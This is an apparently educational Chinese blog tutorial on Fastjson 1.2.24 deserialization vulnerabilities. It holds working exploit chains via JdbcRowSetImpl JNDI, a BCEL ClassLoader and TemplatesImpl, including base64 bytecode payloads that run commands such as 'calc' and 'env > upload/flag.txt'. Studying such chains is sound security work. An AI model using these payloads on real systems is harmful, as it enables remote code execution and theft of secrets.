Fastjson反序列化
什么是Fastjson反序列化
Fastjson是一个由阿里巴巴开源的Java库,用于将 Java 对象转换成其 JSON 表示形式,也可以用来将 JSON 字符串转换成等效的 Java 对象。这个过程通常称为序列化和反序列化。
Fastjson 反序列化是指将 JSON 字符串转换为 Java 对象的过程。
提供两个主要接口:
JSON.toJSONString 和 JSON.parseObject/JSON.parse 分别实现序列化和反序列化。

Fastjson<=1.2.24
maven环境
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.LE0</groupId>
<artifactId>fastjson</artifactId>
<version>1.0-SNAPSHOT</version>
<packaging>jar</packaging>
<name>fastjson</name>
<url>http://maven.apache.org</url>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<!-- 新增 JDK 版本属性,便于统一管理 -->
<maven.compiler.source>1.8</maven.compiler.source>
<maven.compiler.target>1.8</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>3.8.1</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>
<!-- 新增编译插件配置,明确指定 JDK 8 编译 -->
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.1</version> <!-- 稳定的兼容 JDK 8 的版本 -->
<configuration>
<source>1.8</source> <!-- 源码编译级别 -->
<target>1.8</target> <!-- 生成的字节码版本 -->
<encoding>UTF-8</encoding> <!-- 编码统一 -->
</configuration>
</plugin>
</plugins>
</build>
</project>
构造自定义Person类
package com.LE0;
public class Person {
private String name;
private int age;
public Person() {
System.out.println("empty constructor");
}
public Person(String name, int age) {
this.name = name;
this.age = age;
System.out.println("constructor with parameters");
}
public String getName() {
System.out.println("getName method called");
return name;
}
public void setName(String name) {
System.out.println("setName method called");
this.name = name;
}
public int getAge() {
System.out.println("getAge method called");
return age;
}
public void setAge(int age) {
System.out.println("setAge method called");
this.age = age;
}
}
利用JSON.toJSONString方法将对象序列化为JSON字符串。
package com.LE0;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class App
{
public static void main(String[] args) {
Person person = new Person();
person.setName("LE0");
person.setAge(20);
String jsonString = JSON.toJSONString(person);
System.out.println(jsonString);
}
}
output:
empty constructor
setName method called
setAge method called
getAge method called
getName method called
{"age":20,"name":"LE0"}
继续来看反序列化,用JSON.parseObject方法接受一个JSON字符串和目标类的类型作为参数,将JSON字符串转换为对应的Java对象。
package com.LE0;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
/**
* Hello world!
*
*/
public class App
{
public static void main(String[] args) {
String s = "{\"name\":\"LE0\",\"age\":20}";
Person person1 = JSON.parseObject(s, Person.class);
System.out.println(person1);
}
}
output:
empty constructor
setName method called
setAge method called
com.LE0.Person@28c97a5
在反序列化(从json变为javabean)的时候,调用了set方法。
@type关键字
@type是fastjson中的一个特殊注解,用于标识JSON字符串中的某个属性是哪个Java对象的类型。具体来说,当fastjson从JSON字符串反序列化为Java对象时,如果JSON字符串中包含@type属性,fastjson会根据该属性的值来确定反序列化后的Java对象的类型。
package com.LE0;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class App
{
public static void main(String[] args) {
String s = "{\"@type\":\"com.LE0.Person\",\"name\":\"LE0\",\"age\":\"20\"}";
JSONObject object = JSON.parseObject(s);
System.out.println(object);
}
}
output:
empty constructor
setName method called
setAge method called
getAge method called
getName method called
{"name":"LE0","age":20}
可以看到,通过注解@type指定Person类,成功实例化了一个Person对象。
注意:
fastjson≤1.2.24,AutoType 默认开启.
fastjson ≥1.2.25:新增 checkAutoType、AutoType 默认关闭,如果不加ParserConfig.getGlobalInstance().setAutoTypeSupport(true);会报错`autoType is not support. com.LE0.Person
AutoTypeSupport
AutoTypeSupport是Fastjson中的一个配置选项,用于控制自动类型转换的支持。默认情况下,Fastjson >= 1.2.25会禁用自动类型转换功能,以防止潜在的安全风险。通过启用AutoTypeSupport,可以允许@type字段的解析和自动类型转换。
正是因为传入的@type类有恶意风险,为了减轻Fastjson反序列化漏洞的风险,可以通过将存在安全风险的Class全路径的Hash值存储在黑名单中的方式进行校验。Fastjson使用了Hash算法,将一系列已知存在安全风险的Class的全路径转换为Hash值,并将这些Hash值存储在黑名单中。在反序列化过程中,Fastjson会检查 @type 字段指定的Class的Hash值是否存在于黑名单中。如果存在于黑名单中,Fastjson将拒绝实例化该Class,并抛出异常,从而防止恶意攻击者执行未授权等高危操作。
将FastJson的版本改为1.2.25再次尝试
package com.LE0;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class App
{
public static void main(String[] args) {
String s = "{\"@type\":\"com.LE0.Person\",\"name\":\"LE0\",\"age\":\"20\"}";
JSONObject object = JSON.parseObject(s);
System.out.println(object);
}
}
output:
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.LE0.Person
而启用AutoTypeSupport就可以了
package com.LE0;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class App
{
public static void main(String[] args) {
String s = "{\"@type\":\"com.LE0.Person\",\"name\":\"LE0\",\"age\":\"20\"}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSONObject object = JSON.parseObject(s);
System.out.println(object);
}
}
output:
empty constructor
setName method called
setAge method called
getAge method called
getName method called
{"name":"LE0","age":20}
利用链
基于 JdbcRowSetImpl 的利用链(出网)
基于 JdbcRowSetImpl 的利用链主要有两种利用方式,即 JNDI + RMI 和 JNDI + LDAP,都是属于基于 Bean Property 类型的 JNDI 的利用方式。
如果平常有打过 CTF 里面 fastjson 的题目的话,基本利用都是这个方式,因为动态加载字节码更加灵活。
JdbcRowSetImpl 类里面有一个 setDataSourceName() 方法,一看方法名就知道是什么意思了。设置数据库源,我们通过这个方式攻击。
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true
}
需要先起一个 Server,可以用yakit
基于BCEL ClassLoader的利用链(不出网)
BCEL Classloader在 JDK < 8u251之前是在rt.jar里面。同时在Tomcat中也会存在相关的依赖
tomcat7:org.apache.tomcat.dbcp.dbcp.BasicDataSource
tomcat8及其以后:org.apache.tomcat.dbcp.dbcp2.BasicDataSource
漏洞原理是在org/apache/tomcat/dbcp/dbcp2/BasicDataSource.java中的createConnectionFactory()调用了forname方法,并且里面的driverClassName和driverClassLoader都有对应的set方法并可控,所以可以将driverClassLoader赋值为com.sun.org.apache.bcel.internal.util.ClassLoader,driverClassName赋值为携带恶意逻辑、以BCEL开头的BCEL表达式;

package com.LE0;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
import java.io.File;
import java.io.FileInputStream;
import java.sql.SQLOutput;
public class FastJsonBcel {
public static void main(String[] args) throws Exception {
ClassLoader classLoader = new ClassLoader();
// 改成你本地 Evil.class 绝对路径
byte[] bytes = convert("D:\\code\\java\\fastjson\\target\\classes\\com\\LE0\\Evil.class");
String code = Utility.encode(bytes, true);
System.out.println(code);
// 方式1:本地直接调用测试
// classLoader.loadClass("$$BCEL$$"+code).newInstance();
BasicDataSource dataSource = new BasicDataSource();
// dataSource.setDriverClassLoader(classLoader);
// dataSource.setDriverClassName("$$BCEL$$" + code);
// dataSource.getConnection();
// 方式2:FastJSON反序列化POC核心
String payload = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"," +
"\"driverClassLoader\"{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}," +
"\"driverClassName\":\"$$BCEL$$" + code + "\"}";
JSON.parseObject(payload);
}
// 读取class文件字节码
public static byte[] convert(String filePath) throws Exception {
File file = new File(filePath);
FileInputStream fis = new FileInputStream(file);
byte[] buffer = new byte[(int) file.length()];
fis.read(buffer);
fis.close();
return buffer;
}
}
{"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},
"driverClassName":"$$BCEL$$$l$8b$I$A$..."}
基于 TemplatesImpl 的利用链 (不出网)
在学习cc链的时候,cc3调用TemplatesImpl加载字节码。回到TemplatesImpl源码发现,漏洞点是一个get方法。

所以 TemplatesImpl 是满足fastjson 漏洞的利用条件的。
具体参数可以参考CC3那篇文章
总结来说就是_name不能为空,_class要为空,_bytecodes不能为空,是一个二维数组,里面存的是恶意类的字节码。 _tfactory属性不能为空。
但只有这几个参数是没办法执行成功的,因为 fastjson 并不是调用所有的get和set方法,是有条件的。
满足条件的setter:
- 非静态函数
- 返回类型为void或当前类
- 参数个数为1个
满足条件的getter:
- 非静态方法
- 无参数
- 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong
这里我们想去调用的 getTransletInstance() 这个方法不满足上述的返回值,它返回的是一个抽象类。
所以得继续往上找其他get或者set方法,找到了getOutputProperties这个方法,他的返回值Properties继承于MAP
可以被调用


所以链子如下
getOutputProperties() ---> newTransformer() ---> TransformerImpl(getTransletInstance(), _outputProperties,_indentNumber, _tfactory);
恶意类
package com.LE0;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
Test t = new Test();
}
}
package com.LE0;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.util.Base64;
public class FastjsonTemplatesImpl {
public static void main(String[] args) {
// 恶意class路径
String evilClassPath = "D:\\code\\java\\fastjson\\target\\classes\\com\\LE0\\Test.class";
String base64Code = classToBase64(evilClassPath);
String payload =
"{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_bytecodes\":[\""+base64Code+"\"]," +
"\"_name\":\"LE0\"," +
"\"_tfactory\":{}," +
"\"_outputProperties\":{}}";
System.out.println("=====生成Payload=====");
System.out.println(payload);
ParserConfig config = new ParserConfig();
// fastjson <=1.2.24 不需要手动开启autoType;高版本需要绕过
// config.setAutoTypeSupport(true);
// 必须开启 SupportNonPublicField,才能给TemplatesImpl私有字段赋值
Object obj = JSON.parseObject(payload, Object.class, config, Feature.SupportNonPublicField);
}
public static String classToBase64(String classFilePath) {
File file = new File(classFilePath);
if(!file.exists()){
System.err.println("文件不存在:" + classFilePath);
return null;
}
try (FileInputStream fis = new FileInputStream(file)) {
byte[] buffer = new byte[(int) file.length()];
fis.read(buffer);
return Base64.getEncoder().encodeToString(buffer);
} catch (IOException e) {
e.printStackTrace();
return null;
}
}
}
payload
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA5MY29tL0xFMC9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAMY29tL0xFMC9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAAAwABAANAA0ADgAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABIADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAGgAIABsADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ="],"_name":"LE0","_tfactory":{},"_outputProperties":{}}
具体动调分析可以参考这篇文章,很详细Java安全之Fastjson反序列化漏洞分析 - nice_0e3 - 博客园
无回显可以写文件来读
package com.LE0;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import java.util.Base64;
public class poc {
public static class test{
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(test.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(new String[]{\"/bin/bash\", \"-c\", \"env > upload/flag.txt\"});";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "LE0"+System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
try {
byte[] evilCode = cc.toBytecode();
String evilCode_base64 = Base64.getEncoder().encodeToString(evilCode);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{"+
"\"@type\":\"" + NASTY_CLASS +"\","+
"\"_bytecodes\":[\""+evilCode_base64+"\"],"+
"\"_name\":\"a.b\","+
"\"_tfactory\":{ },"+
"\"_outputProperties\":{ }"+
"}\n";
System.out.println(text1);
// ParserConfig config = new ParserConfig();
// Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
} catch (Exception e) {
e.printStackTrace();
}
}
}
paylaod
{
"docId": 1,
"title": "readme.txt",
"status": "published",
"content": "normal preview document\n",
"x": {
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": [
"yv66vgAAADQALAoAAwAPBwAnBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAR0ZXN0AQAMSW5uZXJDbGFzc2VzAQASTGNvbS9MRTAvcG9jJHRlc3Q7AQAKU291cmNlRmlsZQEACHBvYy5qYXZhDAAEAAUHABMBABBjb20vTEUwL3BvYyR0ZXN0AQAQamF2YS9sYW5nL09iamVjdAEAC2NvbS9MRTAvcG9jAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAFQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMABcAGAoAFgAZAQAQamF2YS9sYW5nL1N0cmluZwcAGwEACS9iaW4vYmFzaAgAHQEAAi1jCAAfAQAVZW52ID4gdXBsb2FkL2ZsYWcudHh0CAAhAQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMACMAJAoAFgAlAQARTEUwMzAyNjk1MTYwMDQzMDABABNMTEUwMzAyNjk1MTYwMDQzMDA7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAKQoAKgAPACEAAgAqAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACuxAAAAAgAHAAAABgABAAAADQAIAAAADAABAAAABQAJACgAAAAIABQABQABAAYAAAAnAAUAAAAAABu4ABoGvQAcWQMSHlNZBBIgU1kFEiJTtgAmV7EAAAAAAAIADQAAAAIADgALAAAACgABAAIAEAAKAAk="
],
"_name": "a.b",
"_tfactory": {},
"_outputProperties": {}
}
}
参考
fastjson反序列化 - Infernity's Blog
https://www.bilibili.com/video/BV1bG4y157Ef
Java安全之Fastjson反序列化漏洞分析 - nice_0e3 - 博客园
Java反序列化Fastjson篇02-Fastjson-1.2.24版本漏洞分析 | Drunkbaby's Blog

浙公网安备 33010602011771号